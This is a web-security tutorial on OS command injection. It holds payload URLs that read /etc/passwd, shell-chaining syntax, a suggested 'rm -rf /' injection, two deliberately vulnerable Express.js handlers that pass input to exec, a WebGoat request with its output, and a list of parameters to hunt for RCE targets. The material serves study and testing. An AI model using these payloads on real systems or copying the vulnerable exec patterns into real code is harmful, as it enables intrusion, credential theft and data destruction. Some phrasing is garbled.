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Command Injection

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.

Identify and assess the command injection points:

Web Forms
URL Parameters
Search Fields
File Upload Inputs
Backup and Restore Scripts
User Management Scripts

When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol | onto the end of the filename.

Example URL before alteration:

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

Example URL modified:

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

This will execute the command /bin/ls.

Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is URL encoded and decodes to semicolon

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Special Characters for Command Injection

The following special character can be used for command injection such as | ; & $ > < ' !

cmd1|cmd2 : Uses of | will make command 2 to be executed whether command 1 execution is successful or not.
cmd1;cmd2 : Uses of ; will make command 2 to be executed whether command 1 execution is successful or not.
cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
$(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
cmd : It’s used to execute a specific command. For example, whoami
>(cmd) : >(ls)
<(cmd) : <(ls)

Code Review Dangerous API

Be aware of the uses of following API as it may introduce the command injection risks.

Java

Runtime.exec()

C/C++

system
exec
ShellExecute

Python

exec
eval
os.system
os.popen
subprocess.popen
subprocess.call

PHP

system
shell_exec
exec
proc_open
eval

Example: Display the content of a file using the file name received from the URL

const express = require('express');
const { exec } = require('child_process');
const app = express();

app.get('/viewfile', (req, res) => {
    const filename = req.query.file;
    exec(`cat ${filename}`, (err, stdout, stderr) => {
        if (err) {
            res.send(`Error: ${stderr}`);
            return;
        }
        res.send(`<pre>${stdout}</pre>`);
    });
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

Injection point => URL

http://localhost:3000/viewfile?file=filename

If the attacker instead of Filename, a destructive amount like rm -rf / ; Enter, the malicious order is executed.

Example: Run Search in Files using the form input from the user

const express = require('express');
const { exec } = require('child_process');
const app = express();

app.use(express.urlencoded({ extended: true }));

app.post('/search', (req, res) => {
    const searchTerm = req.body.search;
    exec(`grep '${searchTerm}' /var/www/files/*`, (err, stdout, stderr) => {
        if (err) {
            res.send(`Error: ${stderr}`);
            return;
        }
        res.send(`<pre>${stdout}</pre>`);
    });
});

app.listen(3000, () => {
    console.log('Server running on port 3000');
});

Injection point => HTML Form

If the attacker in the search field is a destructive amount like rm -rf / ; Enter, the malicious order is executed.

<form action="/search" method="post">
    <input type="text" name="search" placeholder="Enter search term">
    <button type="submit">Search</button>
</form>

Example:

Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (http://www.example.com/public/doc):

POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf

In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (http://www.example.com/public/doc):

POST /public/doc HTTP/1.1
Host: www.example.com
[...]
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\

If the application doesn’t validate the request, we can obtain the following result:

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
    Output...
    Il volume nell'unità C non ha etichetta.
    Numero di serie Del volume: 8E3F-4B61
    Directory of c:\
     18/10/2006 00:27 2,675 Dir_Prog.txt
     18/10/2006 00:28 3,887 Dir_ProgFile.txt
     16/11/2006 10:43
        Doc
        11/11/2006 17:25
           Documents and Settings
           25/10/2006 03:11
              I386
              14/11/2006 18:51
             h4ck3r
             30/09/2005 21:40 25,934

In this case, we have successfully performed an OS injection attack.

Manual Test

Bug Hunters Injecting specific characters (such as ;, &&, ||, |, &) at different program inputs, they check whether the operating system commands can be injected.

Example:

In the search form, instead of entering the ordinary text, inputs like test; ls or test && whoami and check if these commands are executed.

Note:

Examine unexpected responses from the server that may indicate the execution of the injected commands.

Using known Payloads

Injection of values such as $(Whoami) or ${7*7} in input parameters.

Top 25 Remote Code Execution (RCE) Parameters

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Example

cat target_all_url.txt | grep -E "?print=|?run=|?payload=|?module=|?exe=|?feature=|?req=|?function=|?read=|?step=|?process=|?load=|?option=|?arg=|?func=|?do=|?reg=|?code=|?jump=|?query=|?ping=|?execute=|?command=|?exec=|?cmd="